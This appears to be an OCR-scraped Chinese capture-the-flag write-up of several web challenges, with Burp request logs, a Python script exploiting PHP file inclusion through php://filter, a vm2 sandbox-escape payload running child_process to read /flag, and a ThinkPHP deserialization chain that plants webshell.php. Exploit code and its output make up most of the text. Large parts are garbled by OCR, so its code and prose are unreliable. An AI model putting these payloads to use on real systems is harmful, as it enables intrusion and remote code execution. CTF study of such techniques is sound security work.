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username/password error

Elements ( § es \ Yerformance Memory Ci Security Lighthouse HackBar

ERmd5% i J5 ffiname B SpassHE , W RS H T hashif{E

GET / HTTE/1.1

Host: DedlY9lfc-7256-49c3-ab3f-asThec279e15.noded . buucj.cn

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; =x=64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107

safari/537.36

& Accept:

text/html,application/xhtml+zml, application/zml;g=0.9, image/av

if, image/webp, image/apng, */*;q=0.8,application/signed-exchange

;v=b3;q=0.9

Accept-Encoding: gzip, deflate

S Accept-Language:
zh-CHN,zh;q=0.9,en-Us;q=0.8,en-GB;q=0.7,en;q=0.6
Cookie: UM distinctid=
17afhaB0227248-033a545edef0c5-6373260-151800-17afbhac0Z291d5;
Hash=faZ5e54758d5d5c192778lafcedeBUtBa

10 Connection: close

[ I S N I % I

Mixname=1, & Blhashi{E 5hashy = W EAF

Pretty \n Actions

GET /7name=1 HTTP/1.1
2 Host: DedD91fc-7256-49c3-a93f-aelfgecZ?9e15 . noded.buuo].cn
3 Upgrade-Insecure-Requests: 1
4 User-ARgent: Mozilla/5.0 (Windows NT 10.0; Win&4; xzE4) AppleWebKit/537.36 (KHTML, like Geckeo) Chrome/92.0.4515.107 safari/537.36



Accept: text/html,application/zhtml+zml,application/zml;q=0.9,image/avit, image/webp, inage/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en-US;g=0.8,en-GB;q=0.7,en;q=0.6

Cookie: UM distinctid=17afba&0227248-033a545edeflc5-6373260-151800-17afhag02291d5; Hash=576322dd496h99d07b5b0£7£a7934a25

¢ Connection: close
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@
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{£ Aname=1,pass& T name=1M}hashi) &, 7 T Bk F)404

Page Not Found

Apache/2.4.18 (Ubuntu) Server at
Port 8080

LOAD SPLIT EXECUTE TEST -~ saLl -~ XSS -~ LFI ~ SSTI ~ ENCODING ~ HASHING ~

IRL
ittp://0ed091fc-7256-49c3-a93f-ae76ec279e15.node4.buuoj.cn/?name=1&pass=576322dd496b99d07b5b0f7fa7934a25

burp#£ & & BLF fifififlag.php

Request Response

Prett}.-' \n  Actions v Raw Render \n Actions w

1 GET /7?name=1l&pass=576322dd496b99d07h5b0E7£a7934a25 HTTE/1.1 1 HTTE/1.1 200 CK

2 Host: 0ed00lfc-7256-49c3-a093f-aeT6ec2T%15.noded . buuoj.cn 2 Server: openresty

2 Upgrade-Insecure-Requests: 1 3 Date: Tue, 03 Aug 2021 11:54:02 GMT

4 User-Rgent: Mozilla/5.0 (Windows NT 10.0; Win&4; =64) 4 Content-Type: text/html; charset=UTF-8
ApplelebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 5 Content-Length: 165
safari/537.36 6 Connection: close

5 Accept: 7 Vary: Accept-Encoding
text/html,application/zhtml+xml, application/=ml;q=0.9, image/av 5 ¥-Powered-By: PHP/7.0.33
if, image/webp, image/apng, */*;q=0.8,application/signed-exzchange 9
;v=b3;q=0.8 10 <script language="Jjavascript" type="text/Jjavascript">

& Accept-Encoding: gzip, deflate 11 window. location.href="f1f1f1flag.php";

7 Accept-Language: 12 </script>
zh-CN,zh;q=0.%9,en-U5;q=0.8,en-GB,;gq=0.7,en;q=0.6 13 <html>

8 Cookle: UM distinctid= 14 <!--md5 (S$secret.Sname) ===5pass -->
17athab0ZZ27248-033a545%edef0c5-63732680-151800-1Tathag0Z281d5; 15 </html>
Hash=576322dd4096L99d07L5b0E7£27934a25 16

9 Connection: close

IR

m Cancel Target: http://0ed091
a-= -

Request Response

Pretty \n  Actions v Raw Render \n Actions »

GET /flflflflag.php HTTE/1.1 HTTE/1.1 200 OK

1 1

2 Host: 0ed0Y91fc-7256-49c3-a93f-aeTfec279e15 . noded. buuon’.cn 2 Server: openresty

3 Upgrade-Insecure-Requests: 1 3 Date: Tue, 03 Aug Z0Z1 11:55:54 GMT

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wine4; =64) 4 Content-Type: text/html; charset=UTF-8
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 5 Content-Length: 241
safari/537.36 6 Connection: close

5 Accept: 7 Vary: Rccept-Encoding
text/html,application/zhtml+uml,application/zml;q=0.9, image/av o ¥-Powered-By: PHP/7.0.33
if, image/webp, image/apng, */*;g=0.8,application/s igned-exchange g



sw=h3;q=0.9

& Accept-Encoding: gzip, deflate

Accept-Language:
zh-CH,zh;q=0.9,en-Us;q=0.8,en-GE;q=0.7,en;q=0.6
8 Cookie: UM distinctid=

17atbag0227248-033a545edef0c5-6373260-151800-17athag0Z201d5;

Hash=576322dd496R8%d07h5b0E7£a7934aZ5
% Connection: close

10 <html>
11 <head>
12 <scrlipt language="javascript" type="text/javascript">
13 window. location.href="404.htnl";
14 </script>
15 <title>
this_is_not_fl4g_and 000 wants_girlfriend
</title>
</head>
<>
8 <body>
include (5_GET["file"])
</body>
</html>

[

[~

$#Rinclude($_GET[*file”]), @it dirsearchid B 7] LAE Bldir.php /B & AT AF BX AR E S M T tmp T BIFTA 4.

array(2) { [0]=> string(1) "." [1]=> string(2)

LY

LOAD

SPLIT EXECUTE

URL

TEST

- sqQLl -~ XSS -~ LFI ~ SSTI ~

http://0ed091fc-7256-49¢c3-a93f-ae76ec279e15.node4.buuoj.cn/dir.php

221 2 php Il B SO A
{§ Fpython A& 304, Pyl .



import requests
from io import BytesIO

payload = "<?php phpinfo()?>"
file data = {

'file': BytesIO(payload.encode())

1
J

url = "http://f6a351b3-c226-4aab-b5a7-1c72236efcc6.noded.buuoj.cn/flflflflag.php?"\
+"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file data, allow redirects=False)

15 Al dir.php & & LK S0

array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "phpLAZHFK" [3]=> string(9) "phpT8XyXL" [4]=> string(9) "phpqHWSR6" }

HackBar

LOAD SPLIT EXECUTE TEST -~ saLl -~ Xss -~ LFI ~ SSTI ~ ENCODING ~ HASHING -~

JRL

http://0ed091fc-7256-49c3-a93f-ae76ec279e15.node4.buuoj.cn/dir.php

FAERT), FEABRE BV Wtmp B R T EISCE. ./ — B — B 2B 7] flag#E phpinfo 4



Request

Pretty BREIVEM \n  Actions w

GET /flflflflag.php?file=../../../../tnp/phpgHWSRE HTTE/1l.1
Host: Ded091fc-7256-4%9c3-af3f-ael6ecZ79%15.noded . buuocj.cn
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4d; =g4)
AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/%2.0.4515.107
safari/s37.36

5 Accept:
text/html,application/xzhtml+zml,application/zml;q=0.9, image/av
if, image/webp, image/apng, */*;q=0.8,application/signed-exchange
;v=b3;g=0.09

Accept-Encoding: gzip, deflate

| Accept-Language:

zh-Cl, zh;q=0.9,en-Us;q=0.8,en-GB;q=0.7,en;q=0.6

Cookie: UM distinctid=
17afhag0Z27248-033a545%edefl0c5-6373260-151800-17athac0Z291d5;
Hash=£faZ5e54758d5d5c1927781lagededbfia

9 Connection: close
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ﬁ){ﬁ} @@ ‘ Search... 0 matches

Response

Raw Render \n Actions w

o

/etc/apachel/envvars
</td>
</tr>
<tr»
<td class="e">
FHP_CPPFLAGS
</td>
<td class="v">

-fstack-protector-strong -fpic -fpie -02

</td>
</tr>
<tr>
<td clazs="e">
APRCHE_RUN_USER
</td>
<td clasg="v">
www-data
</td>
</tr>
<tr>
<td class="e">
FLAG
</td>
<td class="v">

flag{Ocac0lc9-64ad4-48fc-8038-6f2aef0l158c2}

</td>
</tr>
<tr>
<td class="e">
PHP_VERSION
</td>
<td class="v">
7.0.33
</td>
</tr>
<tr>
<td class="e">
APRCHE_PID FILE
</td>
<td class="v">
/war/run/apachel/apache? .pid
</td>
</tr>
<tr>
<td class="e">
SHLVL
</td>
<td clagsg="v">

()45 [« ][] flagy

1 match
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https://www.cnblogs.com/tr1ple/p/11301743.html

Demo

code: (2+6-7)/3

run online: /run.php?code=(2%2b6-7)/3;
Ouput: 0.3333333333333333

TR ==

A iElEg
code: new Date();
run online: /run.php?code=new%20Date();

Ouput: Fri Nov 22 2019 15:39:22 GMT+0800 (China Standard Time)
HAYZE PHP I

RaAARPHP, 255 Hrun.php, 75 2]

<?php

if( ( "code", $ GET ) && $ _GET[ ‘'code' ] != NULL ) {
$code = $ GET['code'];
echo eval(code);

} else {

(_FILE_ );




EXAZE
array_key_exists() REWEE T HEASDESFHEENES, NRBEEFENRE true, MNREEFFEUIRA false,
BicAE, MNEBELEHEEHENHESR TERE, B 0 FRAFES M SHMEFTRLL 1 iSEnEgEs. (SR-+ 2)

iBi&

array_key_exists(key,array)

25 3%

key W, ERE.

array WE. HlEEEE.
BAMY

RENE: WEREEFENRE TRUE, MRS AFENIRE FALSE,

PHP hA: 4.0.7+
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LOAD SPLIT EXECUTE TEST ~ sQLl -~ XSS ~ LFI ~ SSTI ~ ENCODING ~ HAS

http://470bf101-650f-4418-b7be-b7db6e73bc6d.node4.buuoj.cn/run.php?code=2%2b3

P Anew%20Date ()4 &7~ B 8]
BRI~ A Ephp, MARAZjs A Error() . stack

Error at vm,js:1:1 at Script.runinContext (vm,js:131:20) at VM.run (/app/node_modules/vm2/lib/main.js:219:62) at /app/server.js:51:33 at Layer.handle [as handle r
(/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch
(/app/node_modules/express/lib/router/route js:112:3) at Layer.handle [as handle_request] (/fapp/node_modules/express/lib/router/layer.js:95:5) at
/app/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

RIFVM2Y GRIR(SHE L E: VMY Fikik)
github & & ¥ fpoc: https://github.com/patriksimek/vm2/issues/225

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError[ ${ ${ prototyp }e } ].get process = f=>f. ("return process")();
try{
(0] )y =Tej o (Buffer. ("")).a = 1;
}catch(e){
return e. (()=>{}) .mainModule.require("child _process"). ("whoami").

console. (new VM(). (untrusted));
}catch(x){
console. (x);

HEMAXRBRTIIE

['for', 'while', 'process', ‘'exec', ‘'eval', ' ', 'prototype', 'Functio


https://www.anquanke.com/post/id/207291

ﬁﬁﬁf—:
payload:

BREF IR S, 65 # AT urlg i

‘p,r,o,t o, t,y L, p
“join T (T r,Te U
Buffer

“mainModule” ‘r, e, q,u,i,r,e

/run.php?code= =%3E{%20TypeError
nT, s, t, e, U, e, Tt 0,

join® %20try{%200bject[ preventExtensions’ “from’

“a’ =%3E

e, s, s

“join®

“join® “join®

Rk —. (¥ JavascriptiEii gt

%20=%20F=%3Ef
‘n", %20, p, r, o, c, e, s, s
%20=%201;%20}catch(e){%20return%20e
‘¢, h,it, 1, d, T, p,r, 0, C
‘cat+x2fflag’ %201}%20

“join® (T “a’

“toString”

prototypeZZi ${ ${ prototyp }e  }"

payload

function
TypeError|[" “prototyp” te’
.proces” }s” }°
try
Object Buffer
catch(e
mainModule[ "

return e[” “get_proces’ }s’

“exe’ jcSync” “cat /flag”

[3% M ¢ 2019]Upload
y IR Y=Y

e Thinkphp & 7514t

WP

BEANREFIEM A, EM MRS HITER

Login

Username

“constructo” }r’

“requir’ }e’ “child_proces’ }s”



https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Template_literals

Password

REGISTER

© 2019 Discuz Login Form . All rights reserved .

https://blog.csdn.net/aq_45834505

RO A BRI IR B SCF B 5, Sk BRI DR, WHERXABE A HEEBRRTP

Forbidden type!

NEE) B FEHRE: 1

% Ffcookie & — AT B B+

HCCEPL-LAngUAgE s Z0-UN, L0 40 .Y, S0 U2 §SU .0, el-eD; gSU L 1 el =0 .
Zookie: UM distinctid=17afbag0227248-033a545edeflc5-6373260-151800-17afhbagl2201d5; user=

YTolontzC] IETK1IET] tpOjMTczo401iI LeZVybnFLE5I7czol01ThEG1phbiI7czo 101 IbWEphC I7czoxNzo iIMTCZMDMSMz YANUBxCc35]1h20103MECDoicGFze3dvemQiC3MEMz T6 ImMO Y2 EOMIMAYTE i OTT zOD TwZ G NTAS YTZm
WzU4ND1iTIjtz0jMEImlEEyITT] Lo

Connection: close

base64fR % & P2 7 HI4L 77 &

110iJhZG1pbil7czo10iJIbWFpbCl7czoxNzoiMTc2MDMS5MzY4NUBxcS5jb20i03M60DoicGFze3dvemQiO3M6MzI6lmMOY2EOMjM4YTBIOTIZODIWZGNJNTASYTZmNzU4NDIiljtzOjMeImltZyl 7




username™”;s:5:"admi ail"s:17:" 55 "cdce dcc509a6f75849

dirsearchia # 2 JE i www.tar.gz,webstorm3T ¥, & B F3 &b it 55 87 1% 3R 7R

__destruct()

){

F>index()

https://blog.csdn.netlqq_45834505

login_check(){
=cookie(

( DA

-> =unserialize(base64_decode(
-> =db( )->where( 1))->Find()
(array_diff( -> ->

https:/blog.csdn.net/aq_45834505

login_check¥ F J ilcookie R 754k, J& BIEHEEHREMHRGEERLE —B, Register.php #1477 % destruct¥ firegisted 1
checkerm] #.
TEprofile.php B U4 A& ) R %

<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{

public $checker;

public $filename_tmp;

public $filename;

public $upload _menu;

public $ext;

public $img;

public $except;

public function @)
{
$this->checker=new Index();
$this->upload_menu= ($_SERVER[ 'REMOTE_ADDR"']);
@ ("../public/upload");
if(! ($this->upload_menu)){
@ ($this->upload_menu);

($this->upload_menu);




public function O
if($this->checker){
if(!$this->checker-> O)H{
$curr_url="http://".$_SERVER[ 'HTTP_HOST'].$_ SERVER['SCRIPT_ NAME']."/index";
$this-> ($curr_url,302);
exit();

b
[/ HIRE B LA AT WA . png -FBRIE EAFE R TIphp XA 14 52 3 AE BT
if(lempty($_FILES)){
$this->filename_tmp=$ FILES['upload_file']['tmp_name'];
$this->filename= ($_FILES['upload _file']['name']).".png";
$this-> O;
b
/[ X2 Kext i (e 1 Y A LLHA
if($this->ext) {
if( ($this->filename_tmp)) {
@ ($this->filename_tmp, $this->filename); //##filename_tmp#z)Z|filename
@ ($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this-> O;
telse{
$this-> ('Forbidden type!', ("../index"));
)i
}else{
$this-> ("Unknow file type!’, ("../index"));

public function Of

$user_info=db('user')-> ("ID",$this->checker->profile[ 'ID'])-> O
if(empty($user_info['img']) && $this->img){
if(db('user')-> ('ID',$user_info['ID"])-> (["img"=> ($this->img)])-> O
$this-> O;
$this-> ('Upload img successful!’, ("../home"));
telse{
$this-> ('Upload file failed!’, ('../index"));

public function Of
$this->checker->profile['img']=$this->img;
("user", ( ($this->checker->profile)),3600);

public function Of
$ext_arr= (".",$this->filename);
$this->ext= ($ext_arr);
if($this->ext=="png"){
return 1;
telse{

return 0;

)i
//get Fijexcept Aj#E, EIEM T — 1N 554
public function ($name)




return $this->except[$name];

1
J

//name 2 B vy 5] ERELH9 4

//arguments 2=%;, K5
// 5 & fHthis - >index, L2t — N B i g 1, 2EA_ get() BART %
public function ($name, $arguments)

;
1

if($this->{$name}){
$this->{$this->{$name}}($arguments);

HA B BEARTT:

get () FEIRFIANTET U I i Ja 1k I fie figh 7

call() V7RI Uy 1A )77 325 i e A6 Ak i

1. Z 53 n.png FIBR 1 7T LUE IS B R ik getiBE R, A L&A XHFILESH AT SNT . EEFEANT—AN, ikextA1HEN, 5B
K png#8 3 9php 3L 14 .

2. AWM R $this->checher IRIE AProfile Xf R, 4 mt<iAProfilext &4 Hindex() 77k, XANJTVETEProfiled R N FELE
1, FiALiAA_ call),  calh X &M $this->index ,index JBE7EProfileh th R RIEAEM, ek _ get() ik, AR
% EProfile Ffexceptlindex] A upload_img I, Ht<mIhf&upload_img() .

BET 4% upload_img () BT EEBEAT XU A 3B HIE AR T

B AN N

Register -> _ destruct
Profile ->  call

Profile -> _ get

Profile -> upload_img

POC



<?php

namespace app\web\controller;
(0);

class Profile

{
public $checker=0; //HHIZLZindexE B, BriliBHFE/F
public $filename_tmp;
public $filename;
public $upload menu;
public $ext;
public $img;
public $except;

public function ($name)

{

return $this->except[$name];

public function ($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);

class Register

{
public $checker;
public $registed;

public function
{
if(!$this->registed){
$this->checker-> ()

$profile = new Profile();

$profile->except = ['index' => 'img'];
$profile->img = "upload_img";

$profile->ext = "1";//Tif KL #shell
$profile->filename_tmp = "./upload/";

/ 15 EEE1E

$profile->filename = "./upload/webshell.php";

$register = new Register();
$register->registed = false; //ifdestruct ZHif
$register->checker = $profile; //if/HPOP#%

echo ($register)));




BEPATRATH T FI4LE 5LE R FHindex.php B % cookie 4 .

B bR DR LG, BEREBNexpH, 4RI 5 EIE & i cookie - 1A JR K ) ST & X B 18 png SOk
R T phpSXfF, KRG EAESI), BEATlwebshell T .

(ps: XN HABEF B EER—EARNRRBERT) .
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